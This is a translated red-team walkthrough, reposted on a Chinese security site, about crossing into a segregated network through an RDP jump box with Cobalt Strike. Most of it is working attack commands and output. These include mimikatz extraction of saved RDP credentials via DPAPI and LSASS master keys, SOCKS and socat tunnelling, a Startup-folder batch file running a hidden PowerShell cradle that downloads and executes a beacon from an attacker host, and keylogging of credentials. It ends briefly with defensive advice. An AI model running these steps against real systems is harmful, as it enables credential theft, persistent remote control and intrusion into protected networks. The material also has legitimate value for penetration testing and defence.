Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】如何利用RDP跳转主机进入隔离网络

0
0
【技术分享】如何利用RDP跳转主机进入隔离网络

2017-09-06 09:45:59

阅读:949次
点赞(0)
收藏
来源: rastamouse.me





【技术分享】如何利用RDP跳转主机进入隔离网络

作者:興趣使然的小胃





【技术分享】如何利用RDP跳转主机进入隔离网络

译者:興趣使然的小胃

预估稿费:130RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

本文中我们介绍了如何使用Cobalt Strike,通过RDP跳转主机(Jump Box)进入隔离或受保护网络中。

网络拓扑如下所示:


【技术分享】如何利用RDP跳转主机进入隔离网络

在这个拓扑环境中:

LAN为扁平化结构,由工作站及服务器组成。

包括RDP跳转节点在内的某些服务器无法外连到互联网。

工作站可以通过代理访问互联网。

RDP跳转主机是LAN中唯一可以与“秘密网络(Secret Network)”通信的主机,通信端口仅限于3389端口。

这两个网络处于不同的森林(forest)中,分别为rasta-lan.local以及secret-lan.local。

LAN的地址为10.0.0.0/16,秘密网络地址为172.16.0.0/24。

在这种场景下,攻击者的任务是在攻击主机(windows 10)上打开远程桌面连接应用,通过RDP直接登录到秘密网络中的目标服务器。


二、突破口

我们已拿下了名为rasta_mouse的一名用户,该用户为普通域用户(Domain Users)。我们可以查询目标服务器,探测哪些用户/组可以使用RDP协议。

beacon>powerpickGet-NetLocalGroup-ComputerNameRDP01-GroupName"RemoteDesktopUsers" ComputerName:RDP01 AccountName:rasta-lan.local/JumpBoxUsers IsDomain:True IsGroup:True SID:S-1-5-21-2294392343-2072776990-791666979-1106

使用如下命令查询哪些用户属于“Jump Box Users”组:

beacon>powerpickGet-NetGroupMember-GroupName"JumpBoxUsers" GroupDomain:rasta-lan.local GroupName:JumpBoxUsers MemberDomain:rasta-lan.local MemberName:rastamouseadm MemberSID:S-1-5-21-2294392343-2072776990-791666979-1107 IsGroup:False MemberDN:CN=RastaMouse(Admin),CN=Users,DC=rasta-lan,DC=local

从结果中可知,rastamouse有两个独立的账户,这表明我们需要获取rastamouse_adm的凭据才能继续攻击。下面我会介绍两种可能行之有效的方法。


三、Credential Manager & DPAPI

如果目标用户选择了保存RDP凭据,并且我们也具备SeDebugPrivilege权限,这是提取用户凭据最为理想的场景。

我们可以在凭据管理器(Credential Manager)界面中查看Windows凭据,如下所示:


【技术分享】如何利用RDP跳转主机进入隔离网络

当然我们也可以使用命令行来查询:

beacon>shellvaultcmd/listcreds:"WindowsCredentials"/all Credentialsinvault:WindowsCredentials Credentialschema:WindowsDomainPasswordCredentialResource:Domain:target=TERMSRV/rdp01Identity:LAN\rastamouseadmHidden:NoRoaming:NoProperty(schemaelementid,value):(100,2)

具体的凭据信息保存在用户目录中:

C:\Users\<username>\AppData\Local\Microsoft\Credentials\*

可以使用如下命令进行查询:

beacon>powerpickGet-ChildItemC:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\-Force Directory:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials ModeLastWriteTimeLengthName -a-hs-02/09/201713:374122647629F5AA74CD934ECD2F88D64ECD0-a-hs-30/08/201719:2811204DFBE70A7E5CC19A398EBF1B96859CE5D

现在,我们可以具体分析一下C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0这个文件:

beacon>mimikatzdpapi::cred/in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 BLOBdwVersion:00000001-1guidProvider:{df9d8cd0-1501-11d1-8c7a-00c04fc297eb}dwMasterKeyVersion:00000001-1guidMasterKey:{6515c6ef-60cd-4563-a3d5-3d70a6bc6992}dwFlags:20000000-536870912(system;)dwDescriptionLen:00000030-48szDescription:LocalCredentialData algCrypt:00006603-26115(CALG3DES)dwAlgCryptLen:000000c0-192dwSaltLen:00000010-16pbSalt:be072ec0f54a6ceaffd09fe2275d72f9dwHmacKeyLen:00000000-0pbHmackKey:algHash:00008004-32772(CALGSHA1)dwAlgHashLen:000000a0-160dwHmac2KeyLen:00000010-16pbHmack2Key:a3579f9e295013432807757d3bcdf82edwDataLen:000000d8-216pbData:0bad8cb788a364061fa1eff57c3cbc83c8aa198c95537f66f2f973c8fe5e7210626c58423b84b55f604cff2b23165b690ad7fa7ad03d80051cb7c1a0e987f36586ede1bd7ff7e2b9f1d3cbc4b8f1b8557ab1be3402d3bfe39b1682353504ff156615b44ea83aa173c3f7830b65bf9202d823932ca69413fcb8bca1a76893c7cbab7e0ee0bbe9269a8b9f65e88e099334177be15cf977a44b77ba6e829c89303ef4764f5fd661e722c7508ad2e01a41f9cd079fc7ce5a8dba90c94a2314941674ad47567bd9c980548f809fe72ce4895b6a56cb9148c47afbdwSignLen:00000014-20pbSign:43559a2b2e9b11bc4b56828a1d2ece489c9dfd52

其中我们需要注意两个字段:pbData以及guidMasterKey。pbData是我们需要解密的字段,而guidMasterKey是解密时要用到的关键值。

LSASS中很有可能在缓存中保存了这个关键值,因为我们具有SeDebugPrivilege权限,我们可以提升权限,获取相应信息。

beacon>mimikatz!sekurlsa::dpapi

在一大堆输出结果中,我们找到了想要的GUID以及MasterKey值:

[00000000]*GUID:{6515c6ef-60cd-4563-a3d5-3d70a6bc6992}*Time:02/09/201713:37:51*MasterKey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b*sha1(key):89f35906909d78c84ba64af38a2bd0d1d96a0726

如果我们在交互模式下运行mimikatz,程序会将这些值自动添加到dpapi缓存中,当我们准备解密凭据时,mimikatz就会使用这些值。但如果我们通过Cobalt Strike运行mimikatz,我们无法保持在同一个会话中(或者已经有人找到保持会话的方法,但我还不知道),因此,我们需要手动使用这个值。

beacon>mimikatzdpapi::cred/in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0/masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b DecryptingCredential:*masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17bCREDENTIALcredFlags:00000030-48credSize:000000d2-210credUnk0:00000000-0 Type:00000002-2-domainpasswordFlags:00000000-0LastWritten:02/09/201712:37:44unkFlagsOrSize:00000030-48Persist:00000002-2-localmachineAttributeCount:00000000-0unk0:00000000-0unk1:00000000-0TargetName:Domain:target=TERMSRV/rdp01UnkData:(null)Comment:(null)TargetAlias:(null)UserName:LAN\rastamouseadmCredentialBlob:Sup3rAw3s0m3Passw0rd!<---BOOM!Attributes:0

四、RDP01

现在,我们可以使用这些凭据通过RDP登录到跳转主机,提醒一下,我们的目标是直接在攻击主机上完成这个攻击过程。因此,我们先要在当前Beacon上搭建一个SOCKS代理服务。

beacon>socks1337 [+]startedSOCKS4aserveron:1337

通过SSH登录Teamserver,如果尚未安装socat以及proxychains,就安装这两个工具。

修改proxychains.conf配置文件,使用127.0.0.1地址以及1337端口。

通过proxychains运行socat:

proxychainssocatTCP4-LISTEN:3389,forkTCP4:10.0.0.100:3389 这样一来,Teamserver会在3389端口上监听,所有访问该端口的流量会经过代理,被重定向10.0.0.100的3389端口。

注意:Beacon的SOCKS代理没有使用验证信息,因此请确保Teamserver的防火墙不会将相应端口暴露在整个互联网上。

现在,我们可以使用RDP协议访问Teamserver的IP地址,经过跳转后,最终登录的是跳转主机。


【技术分享】如何利用RDP跳转主机进入隔离网络

五、持久化

现在我们已经能够访问这台服务器,我们需要设置持久化机制,以便“真正的”rastamouseadm用户登录时,我们能拿到一个SMB Beacon。

简单的操作步骤如下所示:

创建一个stageless类型的PowerShell SMB Beacon载荷。

在Teamserver上的/smb路径托管这个payload。

在当前beacon中创建一个反弹型端口转发:

rportfwd8080178.62.56.13480

使用如下内容创建启动脚本,脚本路径为C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat

powershell.exe-nop-whidden-c"iex((new-objectnet.webclient).downloadstring('http://10.0.1.200:8080/smb'))" 注销RDP会话

备注:如果你可以在该服务器上提升权限、运行或注入到SYSTEM进程中,那么你不必依赖RDP会话来运行Beacon。

当我们的目标用户登录时,我们可以在日志中看到命中信息:

09/0214:19:45visitfrom:178.62.56.134Request:GET/smbpageServes/opt/cobaltstrike/uploads/beacon.ps1null

现在我们可以link到这个beacon。

beacon>link10.0.0.100 [+]establishedlinktochildbeacon:10.0.0.100
【技术分享】如何利用RDP跳转主机进入隔离网络

六、跳转到秘密网络

以跳转主机为据点,我们需要掌握进入秘密网络的具体方法。

其实我们可以用键盘记录器窃取所需的信息,如下所示:

beacon>keylogger1816x64 Startmenu remo RemoteDesktopConnection 172.16.0.10 WindowsSecurity SECRET\rasta_mouse[tab]Passw0rd!

接下来执行如下操作:

停止Beacon上的SOCKS代理服务,同时也停止Teamserver上的proxychains、socat。

在跳转主机上开启新的SOCKS代理服务(可以使用相同的端口)。

在Teamserver上,运行

proxychainssocatTCP4-LISTEN:3389,forkTCP4:172.16.0.10:3389

命令。

与前面的操作一样,使用RDP访问Teamserver IP,最终我们就可以登录到秘密网络中。


【技术分享】如何利用RDP跳转主机进入隔离网络

七、总结

简而言之,永远不要保存RDP凭据信息,始终在跳转主机上使用双因素认证,DPAPI并不能提供足够的防护。




【技术分享】如何利用RDP跳转主机进入隔离网络
【技术分享】如何利用RDP跳转主机进入隔离网络
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/

Viewing all articles
Browse latest Browse all 12749